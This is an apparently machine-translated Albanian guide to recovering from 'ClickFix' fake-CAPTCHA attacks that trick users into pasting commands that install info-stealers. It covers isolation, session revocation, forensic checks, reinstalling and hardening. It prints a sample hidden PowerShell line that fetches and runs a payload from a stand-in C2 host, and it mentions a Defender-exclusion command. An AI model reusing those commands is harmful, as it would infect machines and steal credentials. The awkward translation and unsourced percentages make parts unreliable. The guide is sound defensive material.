Mashtrimi "ClickFix" i rremë CAPTCHA: Pse shtypja e Win+R dhe Ctrl+V ekzekuton Malware Info-Stealer¶

Nëse sapo keni klikuar një buton "Unë nuk jam robot" ose "Verifiko që je njeri" në një faqe interneti (ose ke parë një dritare të rreme Turnstile Cloudflare, Google Meet, Zoom ose përditësimin e shfletuesit) që ju udhëzon të shtypni Windows + R (ose hap macOS Terminal), shtyp Ctrl + V (Cmd + V), dhe goditi Enter, kompjuteri juaj sapo ka ekzekutuar një ngarkesë të drejtpërdrejtë malware - më së shpeshti Lumma Stealer, Vidar, StealC, RedLine, ose Atomic macOS Stealer (AMOS) info-vjedhës. Asnjë mjet legjitim CAPTCHA, kontrolli Cloudflare ose video-konferencë në Tokë nuk do t'i kërkojë kurrë një njeriu të hapë dialogun e Windows Run (Win + R), Windows Terminal, Command Prompt ose macOS Terminal dhe ngjitni një komandë. Kur klikoni kutinë e rreme "Verifiko" në atë faqe ueb, JavaScript keqdashës (navigator.clipboard.writeText()) kopjoi në heshtje një PowerShell të fshehur, mshta.exe, rundll32, ose curl | bash komandë në clipboard tuaj. Brenda 3 deri në 6 sekonda nga shtypja Enter, ai skript shkarkoi një ekzekutues në memorie që deshifronte dhe ekfiltronte çdo fjalëkalim të ruajtur, kartën e kreditit të plotësimit automatik, kasafortën e zgjerimit të shfletuesit të kriptomonedhave (MetaMask, Phantom, Rabby), Token Discord/Telegram dhe cookie e sesionit me hyrje aktive nga Chrome, Edge, Brave dhe Firefox - duke lejuar sulmuesit të rrëmbejnë llogaritë tuaja të Gmail, Microsoft 365, bankare dhe të korporatave pa pasur nevojë për fjalëkalimin tuaj ose vërtetimin me dy faktorë (2FA). Për korrigjimin e thellë të sesioneve të shfletuesit të rrëmbyer, konsultohuni gjithashtu rrëmbimi i skedarëve të sesionit, malware i vjedhësit të informacionit dhe revokimi i çelësit të kalimit; nëse tashmë shihni fondet që po largohen nga një portofol i vetë-kujdesit, hidhuni menjëherë te kullimi i portofolit të kriptomonedhës dhe kompromisi i frazës së farës; ose nëse një mashtrues ju ka këshilluar të instaloni AnyDesk ose ScreenConnect, shihni Mbështetja teknike mashtrimi me pop-up dhe heqja e desktopit në distancë. Nëse ky infeksion ka ndodhur në një stacion pune spitali, rrjet bashkiak ose përfshin zhvatje të menjëhershme për sigurinë e jetës, telefononi numrin tuaj të urgjencës lokale (911 në Shtetet e Bashkuara dhe Kanada, 112 në të gjithë Bashkimin Evropian, 999 në Mbretërinë e Bashkuar) ose kontrolloni drejtorinë tonë të numrat e urgjencës.

Bëje këtë tani¶

1. **Shkëputni kabllon tuaj Ethernet ose fikni Wi-Fi në kompjuterin e infektuar brenda 5 sekondave **: vjedhësit e informacionit si Lumma Stealer paketoni bazat e të dhënave SQLite të shfletuesit tuaj (Login Data, Cookies, Network/Cookies, Web Data) në a .zip arkiv në %TEMP% dhe ngarkoni atë në një Command-and-Control (C2) server, më pas vendos shpesh një Trojan dytësor Remote Access (RAT), përfaqësuesi i banimit SOCKS5 ose ngarkuesi i ransomware. Shkëputja e lidhjes së internetit ndalon menjëherë ngarkesat dytësore dhe transmetimin e vazhdueshëm të ekranit/tasteve.
2. **Mos përdorni kompjuterin e infektuar për të ndryshuar fjalëkalimet tuaja - merrni një telefon inteligjent të pastër (me të dhëna celulare) ose një kompjuter të painfektuar tani **: Nëse jeni një regjistrues i vazhdueshëm i tastierës, rrëmbyes i clipboard-it ose HVNC Moduli (Hidden Virtual Network Computing) po funksionon në RAM në kompjuterin e infektuar, duke shtypur fjalëkalimet tuaja të reja në të njëjtin PC ia dorëzon kredencialet e reja menjëherë sulmuesit.
3. **Nga telefoni juaj i pastër, klikoni "Dil nga të gjitha pajisjet / Anuloni të gjitha seancat aktive" në emailin tuaj kryesor (Gmail / Microsoft 365 / Yahoo), menaxheri i fjalëkalimeve dhe SSO e punës (Okta / Entra ID) E PARË **:
4. Pse thjesht ndryshimi i fjalëkalimit tuaj NUK është i mjaftueshëm: vjedhësit e informacionit vjedhin kukitë tuaja aktive të sesionit të vërtetimit (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Në shumë platforma, një skedar i sesionit të eksportuar mbetet i vlefshëm për ditë ose javë, përveç nëse klikoni në mënyrë eksplicite Dilni nga të gjitha seancat / Revokoni argumentet DHE rrotulloni fjalëkalimin tuaj.
5. Google / Gmail: Vizitoni myaccount.google.com/device-activity -> zgjidhni çdo seancë në desktop -> klikoni Dil, më pas ndryshoni fjalëkalimin tuaj të Google dhe kontrolloni Settings -> Forwarding and POP/IMAP për rregullat e përcjelljes në heshtje.
6. **Microsoft / Outlook / ID Entra **: Vizitoni mysignins.microsoft.com/security-info -> klikoni Dil kudo, më pas rivendosni fjalëkalimin tuaj.
7. Nëse keni pasur ndonjë shtesë të portofolit të kriptomonedhës (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) në atë kompjuter, evakuoni menjëherë të gjitha fondet në një frazë fillestare krejt të re në një pajisje të pastër:
8. Lumma Stealer dhe AMOS kopjoni të koduarin Local Extension Settings Skedarët e kasafortës IndexedDB/LevelDB nga Chrome/Brave/Edge direkt në serverin e sulmuesit, ku grupet e GPU-së detyrojnë brutale të zhbllokojnë fjalëkalimin jashtë linje të ekstensionit tuaj lokal (ose lexoni frazën fillestare direkt nga RAM-i nëse është i shkyçur). Supozoni se çdo frazë fillestare dhe çelës privat i ruajtur ndonjëherë në atë PC është 100 për qind i komprometuar.
9. Përpara se të fshini kompjuterin, ruani komandën e saktë që keni ngjitur në mënyrë që të dini se çfarë është ekzekutuar:
10. Në Windows, hapni Notepad (ndërsa jeni ende jashtë linje) dhe shtypni Ctrl + V për të ngjitur çdo gjë që është ende në kujtesën tuaj, ose shtypni Windows + R dhe klikoni shigjetën me rënie për të lexuar të përdorurat më së fundi (MRU) Ekzekutoni historinë e ruajtur në HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Bëni një foto të asaj komande me telefonin tuaj për përgjigje ndaj incidentit.
11. Kryeni një riinstalim të pastër të sistemit operativ USB (ose fshirje të plotë mjeko-ligjore jashtë linje) në vend që t'i besoni një skanimi të shpejtë antivirus: Moderne ClickFix ngarkesat përdorin binare legjitime të nënshkruara të Windows (Living-off-the-Land Binaries ose LOLBins si mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, dhe AutoIt3.exe) që injektojnë në proceset legjitime të sistemit (explorer.exe, svchost.exe) dhe shpesh shtojnë përjashtime në Windows Defender (Add-MpPreference -ExclusionPath).

Pema e vendimit: kontroll dhe rikuperim i menjëhershëm pas një ClickFix Win+R ose paste terminale¶

Ndiqni këtë pemë vendimi në momentin që kuptoni se keni ngjitur një komandë në të Win + R, Terminali i Windows ose Terminali macOS:

flowchart TD
    Start["Ngjit komandën e rreme CAPTCHA / rregullimi të gabimit në Win+R, PowerShell ose macOS Terminal"] --> Disconnect["HAPI 1 (0 deri në 10 sekonda): Shkëputni Ethernetin dhe fikni Wi-Fi në kompjuterin e infektuar menjëherë"]

    Disconnect --> CryptoCheck{"A kishte ky kompjuter ndonjë portofol kripto (MetaMask, Phantom, Exodus, Ledger Live, çelësat e ruajtur)?"}

    CryptoCheck -->|"po"| EvacCrypto["HAPI 2 (URGJENT): Në një telefon të pastër / portofol harduerësh, gjeneroni një frazë të re FREZE dhe transferoni të gjitha asetet menjëherë"]
    CryptoCheck -->|"Nr"| CleanDevice["HAPI 2: Kalo në një telefon inteligjent të pastër (të dhëna celulare) ose pajisje të pa infektuar"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["HAPI 3: Anuloni sesionet nga ana e serverit dhe rrotulloni fjalëkalimet sipas rendit të rreptë të përparësisë"]

    RevokeSessions --> P1["1. Email kryesor (Gmail / M365 / Proton): Vrasni të gjitha seancat aktive të pajisjes, rivendosni fjalëkalimin, kontrolloni rregullat e përcjelljes"]
    P1 --> P2["2. SSO e punës / korporatës (Okta / Entra ID / VPN / AWS / GitHub / Çelësat SSH): Njoftoni menjëherë SOC-në e korporatës nëse llogaritë e punës janë identifikuar"]
    P2 --> P3["3. Llogaritë financiare, bankare, PayPal, Stripe, Amazon, Steam, Discord dhe media sociale"]

    P3 --> InspectPayload["HAPI 4 (Jashtë linje në PC të infektuar): Kontrolloni RunMRU Registry & PowerShell Operational Event ID 4104 për të identifikuar ngarkesën"]

    InspectPayload --> WipeChoice{"A është ky një pikë përfundimtare e korporatës apo kompjuter personal?"}
    WipeChoice -->|"Korporatë / BYOD me qasje në punë"| CorpIR["Makina e dorës jashtë linje në IT Security / SOC për Triage Forensic EDR dhe Ri-Image BitLocker"]
    WipeChoice -->|"Windows/Mac personal"| CleanInstall["Rezervoni vetëm dokumente të thjeshta (jo .exe/.bat/.dmg) -> Nisja e pastër USB -> Fshi ndarjet dhe riinstalo OS"]

Faza 1: Anatomia e sulmit "ClickFix" - Si rrëmben një faqe në internet Win + R¶

Të kuptuarit e asaj që ndodhi brenda sistemit tuaj operativ gjatë atyre 5 sekondave shpjegon pse disa skedarë dhe llogari janë në rrezik të menjëhershëm, ndërsa të tjerët jo.

1. 3 joshjet e inxhinierisë sociale të përdorura në fushatat ClickFix¶

Sulmuesit shpërndajnë mbivendosje të ClickFix nëpër keqverifikime (rezultatet e kërkimit të sponsorizuara), faqet e komprometuara të WordPress, softuerët e piratuar/portalet e transmetimit, depot e rreme të GitHub dhe emailet e phishing: 1. Kutia Fake Cloudflare / Google reCAPTCHA ("Verifiko që je njeri"): Ju klikoni kutinë e zgjedhjes "Unë nuk jam robot". Në vend të shenjës së gjelbër, shfaqet një dritare që lexon: "U zbulua trafik i pazakontë. Për të verifikuar që jeni njeri, plotësoni këto 3 hapa: 1. Shtypni Windows + R në tastierën tuaj. 2. Shtypni Ctrl + V. 3. Shtypni Enter" 2. Gabimi i rremë i fontit të Chrome/Edge ose i përditësimit ("Diçka shkoi keq me shfaqjen e kësaj faqeje interneti"): Një sfond i paqartë mbulon faqen e internetit me një dialog me pamje zyrtare të Chrome, duke pretenduar se mungon një certifikatë rrënjësore ose përditësim i fontit, kërkon që të hapësh Windows PowerShell/Terminal dhe të ngjitësh "skriptin zyrtar të rregullimit". 3. Gabimi i zmadhimit të rremë / Google Meet / Mikrofoni ose gabimi i kamerës së Microsoft Teams: Dërguar nëpërmjet ftesave të rreme për intervistë pune ose lidhjeve të takimeve me klientin, faqja tregon një ekran video që rrotullohet dhe u kërkon përdoruesve të macOS dhe Windows të hapin Terminal dhe të ngjitin një komandë "rivendosja e shoferit".

2. Pse komanda dukej e padëmshme në Win + R kuti¶

Të Windows + R (Run) kutia e tekstit të dialogut është vetëm 259 karaktere e gjerë vizualisht (MAX_PATH Fusha e hyrjes së ndërfaqes së përdoruesit), dhe shfaq vetëm fundin të një vargu të ngjitur pasi kursori juaj të kërcejë djathtas. Sulmuesit e shfrytëzojnë këtë prerje vizuale duke e mbushur komandën e tyre keqdashëse me hapësira ose duke e përfunduar atë me një koment të rremë:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Pikërisht çfarë Lumma Stealer, StealC, dhe AMOS vjedh në 4 sekonda¶

Faza 2: Bllokimi i llogarisë dhe anulimi i sesionit (minutat 1 deri në 30 - Në një pajisje të pastër)¶

Ndërsa kompjuteri i infektuar mbetet plotësisht i shkëputur nga interneti, përdorni një inteligjent të pastër ose kompjuter të dytë për të ekzekutuar saktësisht këtë sekuencë kontrolli.

Hapi 1: Mbyllni llogaritë tuaja të postës elektronike (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Për çdo llogari emaili që është regjistruar në çdo profil shfletuesi (Default, Profile 1, Work) në atë kompjuter: 1. Përfundoni të gjitha seancat aktive të pajisjes: - Google / Gmail: Shkoni te myaccount.google.com/device-activity -> zgjidhni pajisjen e infektuar Windows/Mac (dhe çdo sesion të panjohur) -> klikoni Dilni. Gjithashtu vizitoni myaccount.google.com/connections dhe revokoni çdo aplikacion të dyshimtë të palës së tretë OAuth. - Microsoft (Personal & Work M365): Shkoni te account.live.com/proofs/Manage (personale) ose mysignins.microsoft.com/security-info (punë) -> kliko Dil kudo. 2. Ndrysho fjalëkalimin e emailit në një fjalëkalim krejt të ri, unik të ruajtur vetëm në pajisjen tënde të pastër. 3. Audito rregullat e kutisë hyrëse, filtrat dhe përcjelljen automatike menjëherë: Operatorët e vjedhësve të informacionit ekzekutojnë skriptet e automatizuara që hyjnë në skedarët e vjedhur të Gmail/Outlook brenda disa minutave pas infektimit dhe krijojnë një filtër të fshehur: *Nëse mesazhi përmban "Security", "Code", "Coinbase", "Binance", "Bank" ose "Steam" -> Shënoni si të lexuar, Përcillni te sulmuesi, Zhvendoseni te Koshi/RSS. - Në Gmail: Hapni një pamje të desktopit -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses DHE Forwarding and POP/IMAP. Fshini menjëherë çdo filtër të panjohur ose adresë përcjellëse. - Në Outlook / M365: Hap Settings -> Mail -> Rules DHE Mail -> Forwarding DHE Mail -> Junk email (kontrollo dërguesit e bllokuar për t'u siguruar që sulmuesi nuk ka bllokuar no-reply@accounts.google.com ose bankën tuaj).

Hapi 2: Mbyllni menaxherët e fjalëkalimeve (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• A i keni ruajtur fjalëkalimet tuaja brenda Menaxherit të Fjalëkalimeve të integruara të Chrome / Edge / Brave? Çdo fjalëkalim i vetëm i ruajtur në Chrome, Edge, Brave, Opera ose Firefox (përveç rastit kur Firefox-i kishte një të caktuar fjalëkalimin kryesor të personalizuar) u eksportua në tekst të thjeshtë nga vjedhësi i informacionit. Duhet t'i trajtoni 100 për qind të fjalëkalimeve të ruajtura në menaxherin e integruar të fjalëkalimeve të shfletuesit si të komprometuar dhe t'i ndryshoni ato duke filluar me llogaritë financiare, të postës elektronike dhe të punës.
• A keni përdorur një menaxher të dedikuar të fjalëkalimeve (1Password, Bitwarden, Proton Pass, Keeper)?
• Nëse kasaforta ishte e bllokuar në momentin që keni ekzekutuar komandën, kasaforta juaj e koduar mbetet e mbrojtur nga fjalëkalimi juaj kryesor/çelës sekret.
• Nëse zgjerimi i kasafortës ishte i shkyçur në memorie (ose nëse keni shtypur fjalëkalimin tuaj kryesor pas ekzekutimit të komandës), hyni në kasafortën e uebit të menaxherit të fjalëkalimeve nga telefoni juaj i pastër, klikoni Deautorizoni të gjitha seancat (Bitwarden: Settings -> My Account -> Deauthorize Sessions), rrotulloni fjalëkalimin tuaj kryesor dhe jepni përparësi rrotullimit të kredencialeve me vlerë të lartë brenda kasafortës.

Hapi 3: Revoko kodet e zhvilluesit, të korporatës dhe të bisedës (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Ndryshimi i fjalëkalimit tuaj Discord pavlefshëm automatikisht tokenin tuaj të vjetër të vërtetimit (leveldb shenjë). Ndryshoni menjëherë fjalëkalimin tuaj Discord nga telefoni juaj, kontrolloni Settings -> Devices -> Dilni të gjitha pajisjet e njohura dhe kontrolloni Settings -> Authorized Apps dhe Settings -> Billing (hiqni kartat e kreditit të ruajtura/PayPal).
• Telegram: Hapeni në telefonin tuaj Telegram -> Settings -> Devices -> prekni Përfundoni menjëherë të gjitha seancat e tjera (kjo vret çdo të vjedhur tdata kloni i dosjes së desktopit).
• Steam: Në telefonin tuaj, hapni aplikacionin Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, ndryshoni fjalëkalimin tuaj dhe kontrolloni që asnjë çelës API nuk është regjistruar në steamcommunity.com/dev/apikey (mashtruesit regjistrojnë një çelës mashtrues të Steam Web API për të rrëmbyer ofertat tregtare).
• **GitHub / GitLab / AWS / SSH **: Nëse jeni një inxhinier softuerësh ose administrator i sistemit, vizitoni github.com/settings/sessions (revokoni seancat e shfletuesit), github.com/settings/keys (fshini çelësat SSH të ruajtur në atë PC), github.com/settings/tokens (revokoni shenjat e aksesit personal) dhe rrotulloni cilindo -/.aws/credentials Çelësat IAM në tastierën AWS IAM menjëherë. Shikoni udhëzuesin tonë të dedikuar në Kompromisi i zinxhirit të furnizimit npm/PyPI dhe rotacioni i çelësit të stacionit të punës së zhvilluesit.

Faza 3: Inspektimi mjekoligjor jashtë linje - Gjeni saktësisht se çfarë funksiononte në kompjuterin tuaj¶

Përpara se të fshini dhe riinstaloni kompjuterin e infektuar (ose gjatë përgatitjes së një raporti për ekipin tuaj të sigurisë së korporatës), mund të kontrolloni me siguri se çfarë ClickFix komanda u krye duke e mbajtur pajisjen 100% jashtë linje (Wi-Fi i fikur, Etherneti i shkëputur).

1. Inspektimi i Windows Win + R Historia dhe shkrimet e PowerShell¶

1. **Kontrollo Windows Run (Win + R) Regjistri MRU (Most Recently Used) lista **: Hapur regedit.exe ose një dritare jashtë linje PowerShell dhe ekzekutoni:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Çdo komandë e shtypur ose e ngjitur ndonjëherë Win + R ruhet këtu te pronat a, b, c, etj. Shikoni komandën e regjistruar në shkronjën e treguar së pari në MRUList.
2. Kontrollo regjistrin e ngjarjeve të regjistrimit të bllokut të skriptit PowerShell (ID-ja e ngjarjes 4104): Edhe nëse sulmuesi ka përdorur -WindowStyle Hidden (-w h) dhe kodimi Base64 (-EncodedCommand / -e), Windows deshifron automatikisht dhe regjistron skriptet e dyshimta të PowerShell në Shikuesin e Ngjarjeve:
3. Shtypni Win + X -> Shikuesi i ngjarjeve -> lundroni te Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Filtri për ID-në e ngjarjes 4104 (Execute a Remote Command). Ju do të shihni skriptin e saktë të deobfuzuar PowerShell, URL-në nga e cila është shkarkuar dhe dosjen në %TEMP%, %AppData%, ose %LocalAppData% ku hodhi ngarkesën dytësore.
5. Kontrollo se ku është instaluar persistence në Windows: Vjedhësit e informacionit dhe skriptet e tyre ngarkues (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) vendosni mbijetesën e rindezjes në katër vende:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Nëse shihni C:\, C:\Users, %AppData%, ose .exe shtuar nën ExclusionPath ose ExclusionProcess, malware verboi në mënyrë të qartë Microsoft Defender në kompjuterin tuaj.)

2. Inspektimi i macOS pas një ClickFix Terminal (Atomic macOS Stealer / AMOS ose Poseidon)¶

Në macOS, faqet ClickFix i thonë përdoruesit të hapë Terminal (Cmd + Space -> Terminal) dhe ngjisni një komandë të koduar me bazë64 si echo "..." | base64 -d | bash. 1. Kur jeni jashtë linje, kontrolloni historinë tuaj të guaskës (cat -/.zsh_history | tail -n 30 ose cat -/.bash_history). 2. Kontrolloni nëse malware ka instaluar një sfond të vazhdueshëm LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Faza 4: Përmirësimi i pastër - Pse duhet të fshini dhe riinstaloni (ose të ekzekutoni shpëtimin jashtë linje)¶

Agjencitë e sigurisë (CISA, FBI, NCSC) këshilloj fuqimisht fshirjen dhe riinstalimin e sistemit operativ nga një disk i pastër USB pas një vjedhësi informacioni ose LOLBin ekzekutimi, sepse ngarkuesit shpesh injektojnë shellcode në binarët e ligjshëm të sistemit, instalojnë drejtuesit e rootkit/proxy ose lënë dyer të pasme të fjetura (NetSupport RAT / Cobalt Strike).

Riinstalimi i pastër hap pas hapi dhe kopjimi i sigurt i skedarit¶

1. Ndërsa kompjuteri i infektuar është ende jashtë linje, rezervoni VETËM skedarët e pastër të të dhënave: Kopjoni vetëm dokumente personale, foto, fletëllogaritëse dhe kodin burimor (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) në një disk të jashtëm USB. ** Asnjëherë mos bëni kopje rezervë .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, ose shfletues User Data dosjet e profilit.**
2. Në një kompjuter të DYTË, të pastër, krijoni një USB të bootable Windows 11 Media Creation (microsoft.com/software-download/windows11) ose mjedisi i rimëkëmbjes macOS.
3. Nisni nga instaluesi i pastër USB, fshini të gjitha ndarjet ekzistuese në SSD-në e nisjes (kështu që ndarja e sistemit EFI, MSR dhe ndarja kryesore e OS janë krijuar rishtas) dhe instaloni një kopje të pastër të sistemit operativ.
4. Nëse absolutisht nuk mund ta fshini menjëherë makinën:
5. Hiq të gjitha përjashtimet e Defender (Remove-MpPreference -ExclusionPath ...).
6. Nisni në Modalitetin e Sigurt të Windows me rrjet të çaktivizuar (ose nisni nga një Kaspersky Rescue Disk / ESET SysRescue Live USB) dhe ekzekutoni skanime të plota jashtë linje duke përdorur Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes dhe ESET Online Scanner, plus inspektoni çdo hyrje në Sysinternals Autoruns (autoruns64.exe) me Fshih hyrjet e Microsoft të pazgjedhur.

Faza 5: Forcimi i Windows dhe macOS në mënyrë që ClickFix të mos ndodhë më kurrë¶

• ** Fshehni ose çaktivizoni Windows + R (Run) dialogu për anëtarët jo-teknikë të familjes ose përdoruesit standardë të korporatës nëpërmjet Politikës së Grupit / Regjistrit**: Vendosja NoRun = 1 (DWORD) nën HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer çaktivizon plotësisht Windows + R shkurtore e tastierës. Sepse 95 për qind e sulmeve të ClickFix mbështeten në shtypjen e përdoruesit Win + R, çaktivizimi i dialogut "Run" ndalon sulmin e ftohtë përpara se një përdorues të mund të ngjitë ndonjë gjë.
• Ndrysho lidhjen e paracaktuar të skedarëve për .hta, .vbs, .js, dhe .wsf skriptet për të notepad.exe: duke paaftësuar mshta.exe dhe wscript.exe nëpërmjet reduktimit të sipërfaqes së sulmit të Windows (ASR) rregullat ose shoqërimi .hta/.vbs/.js me Notepad parandalon ekzekutimin e skriptit.
• Përmirësoni llogaritë kritike në çelësat e kufizuar të harduerit (FIDO2 / WebAuthn Çelësat e sigurisë si YubiKey): Ndërsa vjedhësit e informacionit mund të vjedhin kuki të sesioneve nga një shfletues pas hyrjes, çelësat e sigurisë së harduerit (FIDO2) me jetëgjatësi të shkurtër të sesioneve dhe vlerësim të vazhdueshëm të aksesit (CAE / Kredencialet e sesionit të lidhur me pajisjen DBSC) parandaloni sulmuesit që të ri-autentikojnë ose eksportojnë kredencialet themelore.
• Instaloni një reklamë të shfletuesit dhe bllokues të keqverifikimeve (uBlock Origin / uBlock Origin Lite) dhe aktivizoni Shfletimin e Sigurt të Përmirësuar: Mbi 60 për qind e infeksioneve të ClickFix vijnë nga reklamat me qëllim të keq të kërkimit të Google/Bing që imitojnë softuer legjitim (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) ose faqet e transmetimit.

Numrat rajonalë të urgjencës dhe protokollet e agjencive¶

Nëse një ClickFix / Lumma Stealer Kredencialet e korporatave të komprometuara me infeksion, sistemet e kujdesit shëndetësor, llogaritë financiare ose rrjetet qeveritare, raportoni incidentin menjëherë përmes kanaleve zyrtare:

• Shtetet e Bashkuara dhe Kanadaja:
• Siguria e jetës emergjente / Infrastruktura kritike: Telefono 911 nëse një infeksion prish sistemet klinike spitalore ose operacionet e sigurisë publike.
• FBI Qendra e Ankesave për Krimet në Internet (IC3) (SHBA): Paraqisni një raport të menjëhershëm në ic3.gov (veçanërisht nëse kriptomonedha, telat e bankës ose kompromisi i postës elektronike të biznesit të korporatës rezultoi nga skedarët e vjedhur të skedarëve të sesionit).
• Agjencia e Sigurisë Kibernetike dhe Sigurisë së Infrastrukturës (CISA) (SHBA): Ndërmarrjet dhe organizatat kritike të infrastrukturës duhet të raportojnë shkeljet e info vjedhësve te 1-844-Say-CISA (1-844-729-2472) ose cisa.gov/report.
• Qendra Kanadeze Kundër Mashtrimit (CAFC) & Qendra Kibernetike: Telefono 1-888-495-8501 ose raportoni në cyber.gc.ca.
• Mbretëria e Bashkuar:
• Shërbimet e urgjencës: Telefono 999 (ose 101 për policinë jo emergjente).
• Action Fraud & NCSC: Raportoni krimin kibernetik dhe fondet e vjedhura te Action Fraud (0300 123 2040 / actionfraud.police.uk). Nëse të dhënat ose kredencialet e klientëve të korporatës janë ekfiltruar, vlerësoni njoftimin e detyrueshëm 72-orësh GDPR të MB në ICO (0303 123 1113).
• Bashkimi Evropian:
• Shërbimet e urgjencës: Telefono 112 në të gjitha shtetet anëtare të BE-së.
• **GDPR Neni 33 & NIS2 CSIRT Raportimi **: Sepse Lumma Stealer exfiltron të gjithë shfletuesin Login Data, Cookies, dhe memoriet e plotësimit automatik, çdo kompjuter portativ i infektuar i korporatës që mbante të dhëna personale të punonjësve ose klientëve përbën një shkelje të konfirmuar të konfidencialitetit, që kërkon vlerësim për njoftim 72-orësh te Autoriteti juaj Kombëtar i Mbrojtjes së të Dhënave (DPA).
• Australi dhe Zelanda e Re:
• Shërbimet e urgjencës: Telefono 000 në Australi ose 111 në Zelandën e Re.
• Qendra Australiane e Sigurisë Kibernetike (ACSC / ReportCyber): Telefono 1300 CYBER1 (1300 292 371) ose skedari në cyber.gov.au (dhe kontaktoni IDCARE në 1800 595 160 për rikuperimin e identitetit). Në Zelandën e Re, raportoni në CERT NZ (0800 237 869).
• **India dhe Azia-Paqësori **:
• Linja e Ndihmës Kombëtare e Indisë për krimin kibernetik dhe CERT-In: Telefono 1930 menjëherë nëse ka ndodhur mashtrim financiar, dorëzoni në cybercrime.gov.in, dhe raportoni shkeljet organizative te CERT-In (incident@cert-in.org.in) brenda 6 orëve.

Pyetjet e bëra shpesh¶

hapa Win + R dhe të shtypura Ctrl + V, kështu që teksti u shfaq në kuti, por kuptova se dukej me hije dhe klikova "Anulo" PA shtypur Enter. A jam i infektuar?¶

Jo, ju jeni plotësisht të sigurt. Një faqe interneti e shfletuesit mund të kopjojë tekstin në kujtesën tuaj duke përdorur JavaScript (navigator.clipboard.writeText), dhe duke shtypur Win + R e ndjekur nga Ctrl + V thjesht ngjit atë varg teksti në kutinë hyrëse të Windows Run. Asgjë nuk ekzekutohet derisa të shtypni Hyni ose klikoni OK. Nëse keni klikuar Anulo ose e mbylli Vraponi kuti pa shtypur Hyni, nuk u lëshua asnjë komandë. Thjesht pastroni kujtesën tuaj duke kopjuar një fjalë të padëmshme si p.sh përshëndetje në Notepad dhe mbyllni skedën e shfletuesit me qëllim të keq.

Pse Windows Defender ose antivirusi im nuk e bllokuan komandën kur e ngjita Win + R?¶

Sepse ju - përdoruesi i regjistruar i njeriut - keni shtypur fizikisht Win + R dhe goditi Hyni, Windows e trajton komandën si një veprim të qëllimshëm administrativ të nisur nga explorer.exe në vend të një skedari të pabesueshëm të shkarkuar nga interneti (i cili normalisht do të kishte një shenjë të uebit Zona.Identifikuesi etiketë). Për më tepër, zinxhirët ClickFix përdorin binare të integruara të nënshkruara nga Microsoft (mshta.exe, powershell.exe, conhost.exe, ose përkthyes të nënshkruar të palëve të treta si AutoIt3.exe) për të mbledhur dhe deshifruar ngarkesën direkt në RAM, shpesh duke ekzekutuar Add-MpPreference -ExclusionPath "C:\" në milisekondën e parë përpara se të shkruani ndonjë skedar malware të njohur në disk.

A vjedh një vjedhës informacioni skedarë nga të gjitha llogaritë e përdoruesve në kompjuterin tim, ose vetëm nga profili im i regjistruar (Default vs. Profile 1, Profile 2)?¶

Skanimi i vjedhësve të informacionit çdo dosje të profilit të shfletuesit brenda llogarisë tuaj të përdoruesit të Windows (%LocalAppData%\Google\Chrome\User Data\Default, Profili 1, Profili 2, etj., nëpër Chrome, Edge, Brave, Opera dhe Firefox), edhe nëse ato profile dytësore të shfletuesit nuk kishin një dritare të hapur në atë kohë. Kjo do të thotë nëse mbani një profil të veçantë "Work" Chrome dhe profilin "Personal" të Chrome nën të njëjtën hyrje në Windows, të dy profileve iu vodhën njëkohësisht fjalëkalimet e ruajtura dhe skedarët e sesionit.

Po sikur të përdorja një çelës fjalëkalimi në llogarinë time të Google ose Microsoft - a më ka vjedhur vjedhësi i informacionit fjalëkalimin tim?¶

Varet nga vendi ku është ruajtur çelësi i kalimit, dhe më e rëndësishmja, definitivisht ka vjedhur skedarin aktiv të sesionit të krijuar pasi keni hyrë me atë fjalëkalim. Së pari, nëse keni hyrë tashmë në Google/Microsoft në Chrome/Edge në atë kompjuter, sulmuesi nuk ka nevojë për fjalëkalimin tuaj sepse ata vodhën skedarin tuaj të sesionit të vërtetuar të drejtpërdrejtë - kështu që duhet të klikoni përsëri Dilni nga të gjitha seancat në një pajisje të pastër. Së dyti, nëse fjalëkalimi juaj është ruajtur në Windows Hello (TPM 2.0 çip harduerik) ose në një YubiKey fizik ose iPhone, çelësi privat brenda çipit të harduerit nuk mund të eksportohet nga malware. Megjithatë, nëse keni ruajtur çelësa kalimi të sinkronizuar në një kasafortë shtesë të shfletuesit të palëve të treta të shkyçura në atë kompjuter, anuloni menjëherë ato çelësa kalimi në cilësimet e sigurisë së llogarisë suaj.

Si është "App-Bound Encryption" i Google Chrome (v20 cookies) ndikohet dhe ndikohet Lumma Stealer ta anashkalojë atë?¶

